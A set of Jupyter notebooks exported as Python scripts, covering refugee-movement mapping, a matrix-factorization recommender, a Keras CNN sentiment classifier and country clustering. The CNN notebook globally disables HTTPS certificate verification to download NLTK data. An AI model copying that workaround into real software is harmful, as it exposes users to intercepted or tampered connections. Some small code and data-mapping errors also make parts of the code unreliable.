np.unique(np.concatenate(new_asylum['origin_split_map'].values))\n# orig = np.unique((new_asylum['origin'].values))\n# \n# not_found = set(orig) -set(matched)\n# print(not_found)\n# print('-------')\n\n\n# +\nnew_asylum = asylum.copy()\n\n# match the destination countries with the map codes\nnew_asylum['dest_map'] = new_asylum['dest'].apply(name_splitter).apply(name_matcher,args=(country_list,)) \nnew_asylum['dest_coords'] = new_asylum['dest_map'].apply(name_matcher,args = (country_list,))\n\n# match the origin countries with the map codes\nnew_asylum['origin_split'] = new_asylum['origin'].apply(name_splitter)\nnew_asylum['origin_split_map'] = new_asylum['origin_split'].apply(name_matcher,args = (country_list,))\nnew_asylum['origin_coords'] = new_asylum['origin_split_map'].apply(name_matcher,args = (country_list,))\n# -\n\nmatch_dict_2 = {'Tibetian':'Tibet','Viet Nam':'Vietnam','Equatorial Guinea':'Eq. Guinea',\n 'Lao People\\'s Dem. Rep.':'Laos','The former Yugoslav Republic of Macedonia':'Macedonia',\n 'Bosnia and Herzegovina':'Bosnia and Herz.','Czech Rep.':'Czechia','Iran (Islamic Rep. of)':'Iran',\n 'Brunei Darussalam':'Brunei','Dem. Rep. of the Congo':'Congo','China, Macao SAR':'China',\n 'Syrian Arab Rep.':'Syria','China, Hong Kong SAR':'China',\"Dem. People's Rep. of Korea\":'North Korea',\n 'Bolivia (Plurinational State of)':'Bolivia','Venezuela (Bolivarian Republic of)':'Venezuela',\n 'Solomon Islands':'Solomon Is.','Rep. of Korea':'North Korea','South Sudan':'S. Sudan',\n 'Rep. of Moldova':'Moldova','':''}\n\n# +\nsel_year = 1990\nthresh_value = 10 # at least these many people should have been displaced\n\nsubset_conflicts = new_data[new_data.SY == str(sel_year)]\nsubset_asylum = new_asylum[new_asylum.year == sel_year]\n\nconflict_regs = np.unique(np.concatenate(subset_conflicts.loc_split_map.values))\nasylum_origin = np.unique(np.concatenate(subset_asylum.origin_split_map.values))\nasylum_dest = np.unique(np.concatenate(subset_asylum.dest_map.values))\n\nmappings = subset_asylum[['dest_map','origin_split_map','origin','value']].values\n\n# print('In ', str(sel_year))\n# print('Conflicts were observed in:', np.sort(conflict_regs))\n# print('Movement of displaces ind. was seen from:',[i for i in np.sort(asylum_origin) if i in conflict_regs])\n# print('and from possibly other states to:', np.sort(asylum_dest))\n# -\n\ncmap = plt.get_cmap('Spectral')\nall_colors = cmap(np.linspace(0, 1, len(asylum_dest)))\ndest_clr = {asylum_dest[i]: mpl.colors.to_hex(all_colors[i][:3]) for i in range(len(asylum_dest))}\n\n\n# +\n# test_as = subset_asylum[0:10]\n# print(test_as.groupby('dest')['value'].sum())\n# print(test_as.groupby('dest')['origin'].apply(list))\n\n# +\nbins = [1e8,1e7,5e6,1e6,5e5,1e5,5e4,1e4,1][::-1]\nbin_text = ['100m','10m','5m','1m','500k','100k','50k','10k','> 1'][::-1]\nlabels = range(len(bins)-1)\n\n# Colors option 1\ncmap_bins = plt.get_cmap('terrain')\n# # cmap_bins = plt.get_cmap('gist_earth')\n# bin_col_list = cmap_bins(np.linspace(0,0.8,len(bins)))\n# bin_cols = {i: mpl.colors.to_hex(bin_col_list[i]) for i in range(len(bins))}\n\n# Colors option 2\nmy_cmap = [\"#ff474c\", \"#fac205\",\"#448ee4\",\"#04d9ff\",\"#40a368\",\"#b0dd16\",\"#cb7723\",\"#86775f\",\"#ca7b80\"][::-1]\nbin_cols = {i: my_cmap[i] for i in range(len(bins))}\n\nfinal_test = subset_asylum.groupby('dest')\\\n .agg({ 'value':lambda x : list(x),\n 'origin_split_map':'sum','dest_map':'sum',\n 'origin':lambda x : list(x)}).reset_index()\nfinal_test['value_sum'] = final_test['value'].apply(np.sum)\n\nfinal_test_sorted = final_test.sort_values(by='value_sum',ascending=False)\nfinal_test_sorted['binned'] = pd.cut(final_test_sorted.value_sum,bins=bins,labels=labels)\n\n# +\nmax_links = 3 #(how many countries to show for linkages)\ncut_off = 1e5 # max can be 5e6\ncut_off_bin = np.where(np.array(bins)== cut_off)[0][0]\n\nfinal_test_sorted_to_plot = final_test_sorted[final_test_sorted.binned >=cut_off_bin]\n\n# +\nplot_counter = 0\n\nstart_leg_x = -180\nend_leg_x = -80\ninc_x = (end_leg_x-start_leg_x)*1./len(bin_cols)\nstart_leg_y = -67\nend_leg_y = -60\n\nstart_met_x = start_leg_x\nstart_met_y = -30\nend_met_y = -10\ntotal_met_y = -40\ndest_met_y = -50\ninc_met = (end_met_y-start_met_y)/max_links\n\nfor i,row_i in final_test_sorted_to_plot.iterrows():\n\n fig_main,ax = plt.subplots(1,1)\n plt.style.use('default')\n sns.set(style='white')\n \n map_lw = 0.3\n \n world.plot(linewidth=map_lw,facecolor='gray',alpha=0.13,edgecolor='k',ax=ax)\n conf_world = world[world.name.isin(conflict_regs)]\n conf_world.plot(linewidth=map_lw,edgecolor='red',facecolor='k',ax=ax,alpha=0.99)\n\n \n dest_buff = np.unique(row_i.dest_map)\n \n if len(np.unique(row_i.dest_map)) == 1:\n world[world.name== dest_buff[0]].plot(facecolor = bin_cols[row_i.binned],linewidth= map_lw,edgecolor='k',ax=ax)\n \n if dest_buff[0]!= 'France':\n buff_coords = [world[world.name== dest_buff[0]].geometry.centroid.x.values[0],\n world[world.name== dest_buff[0]].geometry.centroid.y.values[0]]\n dest_coords = buff_coords\n else:\n dest_coords = [1.5,47]\n else:\n print('error in destinaion')\n \n if row_i.origin_split_map != []:\n sorted_val , sorted_origin = zip(*sorted(zip(row_i.value,row_i.origin_split_map))[::-1])\n \n # print(row_i.value,row_i.origin,row_i.origin_split_map)\n # print(sorted_val[:max_links] , sorted_origin[:max_links],row_i.binned,row_i.value_sum)\n\n # print('--')\n \n per_vals = [str(int(np.round(i*100/np.sum(sorted_val)))) for i in sorted_val]\n \n i_met_origin = 0\n for origin_entry in sorted_origin[:max_links]:\n if per_vals[i_met_origin] != '0':\n plt.annotate(str(origin_entry)+': ' + per_vals[i_met_origin] + '%',\n xy = (start_met_x,start_met_y+(i_met_origin*inc_met)), size=6,c='silver')\n \n if origin_entry != 'V/U':\n origin_coords = [world[world.name== origin_entry].geometry.centroid.x.values[0],\n world[world.name== origin_entry].geometry.centroid.y.values[0]] \n \n if origin_entry not in conflict_regs:\n world[world.name== origin_entry].plot(facecolor = 'grey',linewidth= map_lw,edgecolor='k',ax=ax)\n \n plt.plot([origin_coords[0],dest_coords[0]],[origin_coords[1],dest_coords[1]],\n c='grey',lw=0.25)\n \n arrow_x = (origin_coords[0]+dest_coords[0])/2.\n arrow_y = (origin_coords[1]+dest_coords[1])/2.\n plt.arrow(origin_coords[0], origin_coords[1],(arrow_x - origin_coords[0]), (arrow_y - origin_coords[1])\n , shape='full', lw=0.125,length_includes_head=True, head_width=.75,color='grey')\n i_met_origin+=1\n \n plt.annotate('Total: ' + str(row_i.value_sum),xy=(start_met_x,total_met_y),size=8,c=bin_cols[row_i.binned])\n plt.annotate('Destination: '+ dest_buff[0],xy = (start_met_x,dest_met_y), \n size=8,c=bin_cols[row_i.binned])\n \n ax.axis('off')\n ax.margins(0.05)\n ax.tick_params(left=False, labelleft=False, bottom=False, labelbottom=False)\n \n for bi in range(len(bin_text))[::-1]:\n plt.scatter([start_leg_x+((bi)*inc_x)],[start_leg_y],s=40,c=bin_cols[bi])\n plt.annotate(bin_text[bi],xy=(start_leg_x+(bi*inc_x),start_leg_y+5),size='5',ha='center')\n \n # ax_inset.axis('off')\n # ax_inset = fig_main.add_axes([0.15,0.35,0.125,0.125])\n # ax_inset.margins(0.05)\n # ax_inset.tick_params(left=False, labelleft=False, bottom=False, labelbottom=False)\n # ax_inset.pie(sorted_val[:max_links],autopct='%1.f%%',textprops={'fontsize': 7},labels=sorted_origin[:max_links])\n # ax_inset.legend(sorted_val[:max_links],labels=sorted_origin[:max_links],\n # prop={'size': 6},frameon=False,loc='lower center')\n # ax_inset.axis('equal')\n \n \n ########################\n plt.title(r'Conflicts$^\\alpha$ and refugee movement$^\\beta$ in year '+ str(sel_year),size=8)\n \n plt.annotate(r'Data:${\\alpha}$- Gleditsch et al. 2002, ${\\beta}$- UNHCR',xy=(120,-67)\n ,xycoords='data',size=4,va='center')\n plt.scatter([-10],[-67],s=30,facecolor='k',edgecolor='red',marker=(6, 0, 90))\n plt.annotate('Conflict ongoing in region',xy = (-2,-67),xycoords='data',size=6,va='center')\n ax.axis('on')\n \n fig_main.tight_layout()\n plt.savefig(path+'split_by_dest/master_test_axes_'+ str('%3.3d'%plot_counter)+'.pdf'\n ,bbox_inches='tight',pad_inches=0.05)\n plt.close()\n plot_counter += 1\n# -\n\n\n\n\n\n\n\n\n","repo_name":"codiusmaximus/refugee_conflict_movement","sub_path":"cons_data_conflict.ipynb","file_name":"cons_data_conflict.ipynb","file_ext":"py","file_size_in_byte":13700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"73043892525","text":"import os\nimport pandas as pd\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\ncolumns_name=['user_id','item_id','rating']\ndata=pd.read_csv('test.dat',sep=' ',names=columns_name,encoding='latin-1')\n\ndata.head(5)\n\nn_users=int(np.max(data.iloc[:,0])+1)\nn_items=int(np.max(data.iloc[:,1])+1)\nprint(\"Number user:{}\".format(n_users))\nprint(\"Number item:{}\".format(n_items))\n\n\n# \n\nclass MatrixFactorization(object):\n def __init__(self,data,K,lam=0.1,X_init=None,W_init=None,max_iter=10000,learing_rate=0.5,epoch_print=100):\n self.data_raw=data\n self.K=K\n self.lam=lam\n self.max_iter=max_iter\n self.learing_rate=learing_rate\n self.epoch_print=epoch_print\n self.n_users=int(np.max(data[:,0]))+1\n self.m_items=int(np.max(data[:,1]))+1\n \n if X_init is None:\n self.X=np.random.rand(self.m_items,K)\n else:\n self.X=X_init\n \n if W_init is None:\n self.W=np.random.rand(K,self.n_users)\n else :\n self.W=W_init\n self.n_ratings=self.data_raw.shape[0]\n self.data=self.data_raw.copy()\n \n def normalize_rating(self):\n users=self.data[:,0]\n self.mean_userid_rating=np.zeros((self.n_users,))\n for i in range(self.n_users):\n ids=np.where(users==i)[0].astype(np.int32)\n ratings=self.data[ids,2]\n mean=np.mean(ratings)\n if np.isnan(mean):\n mean=0\n self.mean_userid_rating[i]=mean\n self.data[ids,2]=ratings-mean\n \n def get_user_rated_for_item(self,item_id):\n ids=np.where(self.data[:,1]==item_id)[0]\n users_id=self.data[ids,0].astype(np.int32)\n ratings=self.data[ids,2].astype(np.int32)\n return (users_id,ratings)\n \n def updateX(self):\n for m in range(self.m_items):\n userids,ratings=self.get_user_rated_for_item(m)\n Wm=self.W[:,userids]\n \n grad_X=-(ratings-self.X[m,:].dot(Wm)).dot(Wm.T)+self.lam*self.X[m,:]\n self.X[m,:]-=self.learing_rate*grad_X.reshape((self.K,))\n \n def get_item_rated_from_user(self,user_id):\n ids=np.where(self.data[:,0]==user_id)[0]\n ratings=self.data[ids,2].astype(np.int32)\n items_id=self.data[ids,1].astype(np.int32)\n return (items_id,ratings)\n \n def updateW(self):\n for m in range(self.n_users):\n items_id,ratings=self.get_item_rated_from_user(m)\n Xm=self.X[items_id,:]\n grad_w=-Xm.T.dot(ratings-Xm.dot(self.W[:,m]))/self.n_ratings+self.lam*self.W[:,m]\n self.W[:,m]-=self.learing_rate*grad_w.reshape((self.K,))\n \n \n def loss(self):\n loss_value=0\n for i in range(self.data.shape[0]):\n n,m,rate_score=int(self.data[i,0]),int(self.data[i,1]),float(self.data[i,2])\n loss_value+=0.5*(rate_score-self.X[m,:].dot(self.W[:,n]))**2\n loss_value=loss_value/self.n_ratings+0.5*self.lam*(np.linalg.norm(self.X)+np.linalg.norm(self.W))\n return loss_value\n \n def pred(self,user_id,item_id):\n mean_score=self.mean_userid_rating[user_id]\n predict_score=self.X[item_id,:].dot(self.W[:,user_id])+mean_score\n if predict_score>5:\n predict_score=5\n elif predict_score<0:\n predict_score=0\n return predict_score\n \n \n def evaluate_RMSE(self):\n SE=0\n for i in range(self.n_ratings):\n predict_rating_score=self.pred(int(self.data[i,0]),int(self.data[i,1]))\n SE+=(self.data_raw[i,2]-predict_rating_score)**2\n \n RMSE= np.sqrt(SE/self.n_ratings)\n return RMSE\n \n def fit(self):\n self.normalize_rating()\n loss_his=[]\n for epoch in range(self.max_iter):\n self.updateX()\n self.updateW()\n loss=self.loss()\n loss_his.append(loss)\n if (epoch+1)%self.epoch_print==0:\n print(\" Epoch: {}, loss={}, RMSE={}\".format(epoch+1,loss,self.evaluate_RMSE()))\n plt.plot(np.arange(self.max_iter),loss_his)\n plt.show()\n \n\ndata=data.values\nmodel=MatrixFactorization(data,K=2,max_iter=1000,epoch_print=1000)\nmodel.fit()\n\nscore_predict=model.X.dot(model.W)+model.mean_userid_rating\nindex_list=['item_'+str(i+1) for i in range(n_items)]\ncolumn_list=['user_'+str(i+1) for i in range(n_users)]\ndf=pd.DataFrame(data=score_predict,index=index_list,columns=column_list)\n\ndf\n\n# # Movielen 100k\n\ndataset=pd.read_csv('../Data/ratings.csv')\n\ndataset=dataset.drop(['index'],axis=1)\ndataset['user_id']-=1\ndataset['movie_id']-=1\n\ndataset.head(2)\n\nn_users=int(np.max(dataset.iloc[:,0])+1)\nn_items=int(np.max(dataset.iloc[:,1])+1)\nprint(\"Number user:{}\".format(n_users))\nprint(\"Number item:{}\".format(n_items))\n\ndataset=dataset.values\nmodel=MatrixFactorization(dataset,K=30,max_iter=10000,epoch_print=100)\nmodel.fit()\n\n\n","repo_name":"daominhkhanh20/MovieRecommendationSystem","sub_path":"MatrixFactorizationCollaborativeFilering/Untitled.ipynb","file_name":"Untitled.ipynb","file_ext":"py","file_size_in_byte":4990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"41582725066","text":"# + pycharm={\"is_executing\": true}\nimport pandas as pd\nimport numpy as np\n\nfrom keras import layers\nfrom keras.models import Sequential\nfrom keras.preprocessing.text import Tokenizer, one_hot\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.layers import Embedding, Conv1D, GlobalMaxPooling1D, Dense, Dropout, Flatten, MaxPooling1D, Input, Concatenate\nfrom keras.models import load_model\n\nimport sklearn\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.utils import class_weight\nfrom sklearn.metrics import classification_report, accuracy_score, confusion_matrix\n\n# -\n\ndf = pd.read_csv('./data/imdb.csv',delimiter=',', header=None)\n\ndf = df.sample(frac=1)\n\nX = df[0]\nY = df[1]\n\nmap_class1 = {'spam':1, 'ham':0}\nmap_class2 = {'positive': 1, 'negative': 0}\nY = Y.map(map_class2)\n\n\n# +\nimport nltk\nimport ssl\n\ntry:\n _create_unverified_https_context = ssl._create_unverified_context\nexcept AttributeError:\n pass\nelse:\n ssl._create_default_https_context = _create_unverified_https_context\nnltk.download('stopwords')\nfrom nltk.corpus import stopwords\nSTOPWORDS = set(stopwords.words('english'))\n# -\n\ntype(Y)\n\ntext_train, text_test, y_train, y_test = train_test_split(X, Y, test_size=0.15)\n\n# +\ntokenizer = Tokenizer()\ntokenizer.fit_on_texts(text_train)\n\nX_train = tokenizer.texts_to_sequences(text_train)\nX_test = tokenizer.texts_to_sequences(text_test)\n\nvocab_size = len(tokenizer.word_index) + 1 # Adding 1 because of reserved 0 index\nmaxlen = max(len(x) for x in X_train) # longest text in train set\n\n# Add pading to ensure all vectors have same dimensionality\nX_train = pad_sequences(X_train, padding='post', maxlen=maxlen)\nX_test = pad_sequences(X_test, padding='post', maxlen=maxlen)\n\n# +\nembedding_dim = 100\n\nmodel = Sequential()\nmodel.add(layers.Embedding(vocab_size, embedding_dim, input_length=maxlen))\nmodel.add(layers.Conv1D(128, 5, activation='relu'))\nmodel.add(layers.GlobalMaxPooling1D())\nmodel.add(layers.Dense(10, activation='relu'))\nmodel.add(layers.Dense(1, activation='sigmoid'))\nmodel.compile(optimizer='adam',\n loss='binary_crossentropy',\n metrics=['accuracy'])\nprint(model.summary())\n\n# Fit model\nhistory = model.fit(X_train, y_train,\n epochs=5,\n verbose=True,\n batch_size=10)\n\n# -\n\npred = model.predict(X_test)\npred = pred.argmax(axis=-1)\nlen(pred)\n\nmetrics.accuracy_score(pred, y_test)\n\ny_test\n\n\n","repo_name":"chriszhang0222/textclassification","sub_path":".ipynb_checkpoints/cnn-checkpoint.ipynb","file_name":"cnn-checkpoint.ipynb","file_ext":"py","file_size_in_byte":2442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"43524307890","text":"# ## Clustering Techniques\n#\n# -----------------------------------------\n# ## Backdrop\n# -----------------------------------------\n#\n# This jupyter notebook analyses a dataset that contains various socio-economic attributes for countries around the world. It has different contexts of different clustering approaches. \n#\n# -----------------------------------------\n# ## Objective\n# -----------------------------------------\n#\n# Which cluster of countries are more similar to each other in terms of socio-economic factors?\n\n# **Import the libraries**\n\n# +\n#Import all the necessary packages\n\nimport pandas as pd\nimport numpy as np\n\nimport matplotlib.pylab as plt\nimport seaborn as sns\n\n#Scale the data using z-score \nfrom sklearn.preprocessing import StandardScaler\n\n#Import clustering algorithms\nfrom sklearn.cluster import KMeans\nfrom sklearn.mixture import GaussianMixture\n\n#Silhouette score\nfrom sklearn.metrics import silhouette_score\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n# -\n\ndata = pd.read_csv(\"gdp_countries_dataset.csv\")\ndata.head()\n\ndata.info()\n\n# **Observations:**\n# \n# There are 167 observations and 10 columns in the data.\n# All columns have 167 non-null values.\n# All the columns except the country name are numerical.\n\ndata[data.duplicated()]\n\n# There is no duplicated data.\n\n# **Exploratory data analysis**\n\n# +\n#Summary statistics\n\ndata.describe().T\n# -\n\n# **Observations**\n#\n# - The child mortality rate has a high range from 2.6 to 208 deaths per 1000 live births. The average child mortality rate is approx 38 deaths per 1000 live births.\n# - Similarly, the exports and imports have a high range of values. The maximum values for exports and imports is 200% and 174% of GDP respectively.\n# - The total spend on heath is very less as compared to exports and imports for majority of counties. The average spend on health is approx 6.8% of GDP.\n# - The average life expectancy is approx 70 years but the minimum value is just 32 years.\n# - Other variables like gdpp, inflation, and income also shows a high variability which can be expected as they can be very different for different countries.\n# - Overall, % expenditure on health, average life expectancy seem to have lesser standard deviation which reflects less variability across countries. All other variables seem to have very high spread across countries.\n\n# +\n#Observe distribution for all the columns by plotting histograms and boxplots\n\nfor col in data.columns[1:]:\n print(col)\n print('Skew :',round(data[col].skew(),2))\n plt.figure(figsize=(15,4))\n plt.subplot(1,2,1)\n data[col].hist(bins=10, grid=False)\n plt.ylabel('count')\n plt.subplot(1,2,2)\n sns.boxplot(x=data[col])\n plt.show()\n# -\n\n# **Observations**\n#\n# - A lot of the variables have skewed distributions\n# - % expenditure distribution on health is relatively less skewed with fewer outliers\n# - Life expectancy is the only variable which is skewed to the left meaning most of the countries have already been successful in achieving high life expectancy.\n# - Distribution for all other variables is highly skewed to the right. All these variables have some outliers to the right end.\n\ndata.columns\n\nplt.figure(figsize = (10,10))\nsns.heatmap(data.corr(), annot = True, cmap=\"YlGnBu\")\nplt.show()\n\n# ## Another kind of Correlation plot\n#\n# -----------------------------------------\n# ### This correlation plot is like a staircase\n# -----------------------------------------\n#\n\n# +\nfrom matplotlib.colors import TwoSlopeNorm\n\ncolumns = ['child_mort', 'exports', 'health', 'imports', 'income',\n 'inflation', 'life_expec', 'total_fer', 'gdpp']\n\ndef get_redundant_pairs(data):\n \"Get diagonal and lower triangular pairs of correlation matrix\"\n pairs_to_drop = set()\n cols = data.columns\n for i in range(0, data.shape[1]):\n for j in range(0, i+1):\n pairs_to_drop.add((cols[i], cols[j]))\n return pairs_to_drop\n\ndef get_correlations(data):\n au_corr = data.corr().unstack()\n labels_to_drop = get_redundant_pairs(data)\n au_corr = au_corr.drop(labels=labels_to_drop).sort_values(ascending=False)\n return au_corr\n\ncorrplot = get_correlations(data[columns])\n\nfig,ax =plt.subplots(figsize=(15,20))\n\nnorm = TwoSlopeNorm(vmin=-1, vcenter=0, vmax=1)\ncolors = [plt.cm.RdYlGn(norm(c)) for c in corrplot.values]\n\ncorrplot.plot.barh(color=colors)\n# -\n\n# **Obsertvations**\n#\n# -There is a strong positive correlation between gdpp and income.\n# -The life expectancy is positively correlated with gdpp. This indicates that people live longer in richer countries.\n# -There is a strong negative correlation between life expectancy and child mortality.\n# -The child mortality has a strong positive correlation with fertility rate. This indicates that increasing population leads to higher child mortality.\n\n# **Scale the dataset and drop two columns**\n\ndata_new = data.drop(columns=[\"country\", \"gdpp\"])\n\n# +\n#Scale the data and store the output as a new dataframe\nscaler=StandardScaler()\ndata_scaled=pd.DataFrame(scaler.fit_transform(data_new), columns=data_new.columns)\n\ndata_scaled.head()\n# -\n\n#Create a copy of the data to store labels from each algorithm\ndata_scaled_copy = data_scaled.copy(deep=True)\n\n# ## K-Means Clustering Algorithm\n\n# +\n# Empty dictionary to store the Sum of Squares SSE for each value of k \nsse = {} \n\n# iterate for a range of Ks and fit the scaled data to the algorithm. Use inertia attribute from the clustering object and \n# store the inertia value for that k \nfor k in range(1, 10):\n kmeans = KMeans(n_clusters=k, random_state=1).fit(data_scaled)\n sse[k] = kmeans.inertia_ \n\n#plot the elbow\nplt.figure()\nplt.plot(list(sse.keys()), list(sse.values()), 'bx-')\nplt.xlabel(\"Number of cluster\")\nplt.ylabel(\"SSE\")\nplt.show()\n# -\n\n# **Observations** \n# - There is no clear elbow here and the line consistently drops from 2 to 8\n# - Create a silhoutee score then!\n\n# +\n#Empty the dictionary to store the Silhouette score for each value of k\nsc = {} \n\n#Iterate for a range of Ks and fit the scaled data to the algorithm. Store the Silhouette score for that k \nfor k in range(2, 10):\n kmeans = KMeans(n_clusters=k, random_state=1).fit(data_scaled)\n labels = kmeans.predict(data_scaled)\n sc[k] = silhouette_score(data_scaled, labels)\n\n#plot THE ELBOW\nplt.figure()\nplt.plot(list(sc.keys()), list(sc.values()), 'bx-')\nplt.xlabel(\"Number of cluster\")\nplt.ylabel(\"Silhouette Score\")\nplt.show()\n# -\n\n# **The silhoutte score is high at k=3 so we can take the number of clusters as 3**\n\n# +\nkmeans = KMeans(n_clusters=3, random_state=1)\nkmeans.fit(data_scaled)\n\n#Add predicting labels to the original data and scaled data \ndata_scaled_copy['KMeans_Labels'] = kmeans.predict(data_scaled)\ndata['KMeans_Labels'] = kmeans.predict(data_scaled)\n# -\n\ndata['KMeans_Labels'].value_counts()\n\n# **Cluster 0 has more than 100 observations, making this very skewed, let look at the properties**\n\n# +\n#Calculate mean and median of the original data for each label\n\nmean = data.groupby('KMeans_Labels').mean()\nmedian = data.groupby('KMeans_Labels').median()\ndf_kmeans = pd.concat([mean, median], axis=0)\ndf_kmeans.index = ['group_0 Mean', 'group_1 Mean', 'group_2 Mean', 'group_0 Median', 'group_1 Median', 'group_2 Median']\ndf_kmeans.T\n# -\n\n# - Cluster 2 has rich countries with high income and GDP \n# - Cluster 1 has very poor countries with low income and gdp \n# - Cluster 0, which happens to be the biggest cluster has the other countries. \n# **Lets visualise with boxplots for each cluster**\n\n# +\ncols_visualise = ['child_mort', 'exports', 'health', 'imports', 'income', 'inflation', 'life_expec', 'total_fer', 'gdpp']\n\nfor col in cols_visualise:\n sns.boxplot(x = 'KMeans_Labels', y = col, data = data)\n plt.show()\n# -\n\n# **Observations**\n#\n# - Cluster 2 has only 3 observations. As observed from scatter plots and boxplots, group 2 consists of outlier countries with highest imports and exports as percentage of GDP. These countries also have very high income.\n#\n# - Cluster 1 seems to have very poor values for many indicators, like highest inflation rate, lowest GDP per capita, lowest exports as well as imports - all signaling towards very poor economic situation, and they also have the highest child mortality, highest fertility, lowest life expectancy - all signaling towards poor state of health care in the country. This cluster shows traits of underdeveloped and developing countries These countries also seem to have a trade deficit i.e. imports are more the exports. When a country has a trade deficit, it must borrow from other countries to pay for the extra imports.\n#\n# - Cluster 0 is the largest cluster which shows traits of developing and developed countries. The countries in this cluster have comparatively better state of affair for many socio-economic factors but with a large range of values, indicating that this is a mix of many different types of countries. Ideally, we do not want a cluster to be like this as the fundamental idea behind clustering is to 'group similar things' and this cluster seems to have a lot of 'dissimilarity' within it\n#\n# - Overall, this clustering solution does give us good insights into potential clusters of similar countries but is not very useful as it is impacted by outlier countries resulting in one very small cluster and two very big clusters. We should try other algorithms to see if we can do better.\n\n# ## How do these clusters relate with the country GDP?? \n\n# +\ncols_visualise = ['child_mort', 'exports', 'health', 'imports', 'income', 'inflation', 'life_expec', 'total_fer', 'gdpp']\n\nfor col in cols_visualise:\n sns.scatterplot(x = col, y = 'gdpp',data = data ,hue='KMeans_Labels', palette='Dark2')\n plt.show()\n# -\n\n# As fertility increases, the population of the country increases which results in lower GDP and net income per person.\n# Child mortality also negatively impacts the GDP of the country. High child mortality can be due to several reasons like higher population of the country, poverty or lower net income per person, lack of health facilities, etc.\n\n# ## K-Medoids algorithm\n\n#Install this to package to use KMedoids\n# ! pip install scikit-learn-extra\n\nfrom sklearn_extra.cluster import KMedoids \n\n# +\nkmedo = KMedoids(n_clusters = 3, random_state=1)\nkmedo.fit(data_scaled)\n\ndata_scaled_copy['kmedoLabels'] = kmedo.predict(data_scaled)\ndata['kmedoLabels'] = kmedo.predict(data_scaled)\n# -\n\ndata.kmedoLabels.value_counts()\n\n# +\n#Calculate mean and median of the original data for each label\n\noriginal_features = ['child_mort', 'exports', 'health', 'imports', 'income', 'inflation', 'life_expec', 'total_fer', 'gdpp']\n\nmean = data.groupby('kmedoLabels').mean()\nmedian = data.groupby('kmedoLabels').median()\ndf_kmedoids = pd.concat([mean, median], axis=0)\ndf_kmedoids.index = ['group_0 Mean', 'group_1 Mean', 'group_2 Mean', 'group_0 Median', 'group_1 Median', 'group_2 Median']\ndf_kmedoids[original_features].T\n# -\n\n# - Cluster 0 is of very rich countries with high income and gdp. \n# - Cluster 2 is of very poor countries with low income and gdp and the rest are in cluster 1, which happens to be the biggest cluster as well.\n\nfor col in cols_visualise:\n sns.boxplot(x = 'kmedoLabels', y = col, data = data)\n plt.show()\n\n# **Cluster observations**\n#\n# - Cluster 2 countries have the highest average child mortality rate, trade deficit, inflation rate and least average GDP and net income per person. But the large range of values for different variables implies it contains variety of countries from underdeveloped to developing.\n# - Cluster 1 shows traits of developing countries with comparatively higher GDP, net income per person and significantly lower child mortality rate as compared to cluster 2. The cluster consists of some outliers but majorly it consists of countries with low to medium GDP but comparatively higher imports and exports percentage. \n# - Cluster 0 shows traits of developed countries with low child mortality rate and higher net income per person, life expectancy, GDP. These countries have the highest average expenditure on health as percentage of GDP. For example, Australia, Austria, Belgium.\n\n# **What can we observe from K-Medoids?**\n\n# - The count of observations in each clusters from K-Medoids is more evenly distributed as compared to clusters K-Means.\n# - This is because clusters from K_Medoids are less affected by outliers in the data. As we can observe that three outlier countries (in terms of imports and exports) are included in cluster 1 and do not form a separate cluster like in K-Means.\n# - Unlike K-Means, the cluster for developed countries is much bigger but still retains the overall characteristics of developed countries as reflected in higher values for income per person, life expectancy etc. and especially in health expenditure as percentage of GDP.\n\n# ## Gaussian mixture clustering algorithm \n\n# +\ngmm = GaussianMixture(n_components = 3, random_state = 1)\ngmm.fit(data_scaled)\n\ndata_scaled_copy['GmmLabels'] = gmm.predict(data_scaled)\ndata['GmmLabels'] = gmm.predict(data_scaled)\n# -\n\ndata.GmmLabels.value_counts()\n\n# +\n#Calculate mean and median of the original data for each label\n\noriginal_features = ['child_mort', 'exports', 'health', 'imports', 'income', 'inflation', 'life_expec', 'total_fer', 'gdpp']\n\nmean = data.groupby('GmmLabels').mean()\nmedian = data.groupby('GmmLabels').median()\ndf_gmm = pd.concat([mean, median], axis=0)\ndf_gmm.index = ['group_0 Mean', 'group_1 Mean', 'group_2 Mean', 'group_0 Median', 'group_1 Median', 'group_2 Median']\ndf_gmm[original_features].T\n# -\n\n# **Observations**\n#\n# - Cluster 1 is of very rich countries with high income and gdpp.\n# - Cluster 0 is of very poor countries with low income and gdp and the rest are in cluster 2.\n\n# +\ncols_visualise = ['child_mort', 'exports', 'health', 'imports', 'income', 'inflation', 'life_expec', 'total_fer', 'gdpp']\n\nfor col in cols_visualise:\n sns.boxplot(x = 'GmmLabels', y = col, data = data)\n plt.show()\n# -\n\n# **Cluster observations**\n#\n# - This clustering solution looks very similar to K-Medoids with one cluster of 'rich' countries, one of 'poor' and one of 'all others'. \n# - Cluster 1 seems to be of 'developed' countries but this time the median values for all key indicators have all improved in comparison to the same cluster obtained from K-Medoids with higher GDP per capita, higher income, higher exports and imports and marginally higher life expectancy. At the same time, it has lower inflation, lower child mortality, lower fertility as well. Overall, we can say that this cluster has become more 'pure' in comparison to the one from K-Medoids.\n#\n# - Cluster 0 - Seems to be the one of 'underdeveloped' countries but this time the median values for various factors have all improved in comparison to the K-Medoids solution. For e.g., it has higher GDP per capita, higher income per person, higher exports and imports, and slightly better health expenditure and life expectancy. This means that this cluster of 'underdeveloped' countries has become less 'pure'\n#\n# - Both of the above points can give an idea of what might have happened to the third cluster i.e. Cluster 2. It was a mix of 'underdeveloped'& 'developing' countries and continues to be so, but some countries on the rich end of the spectrum seemed to have moved to cluster 1, and some countries on the 'underdeveloped' end have moved to the last cluster, thereby reducing itself in size and resulting in different profiles for all clusters. \n\n# **In conclusion**\n#\n# K-Medoids has more distinct extreme clusters of developing and underdeveloped countries.\n\n\n","repo_name":"Kinjuriu/all_kinds_of_clusters","sub_path":"my_clusters.ipynb","file_name":"my_clusters.ipynb","file_ext":"py","file_size_in_byte":15613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"11309295683","text":"# ## 1. Importaciones y lecturas \n\n# 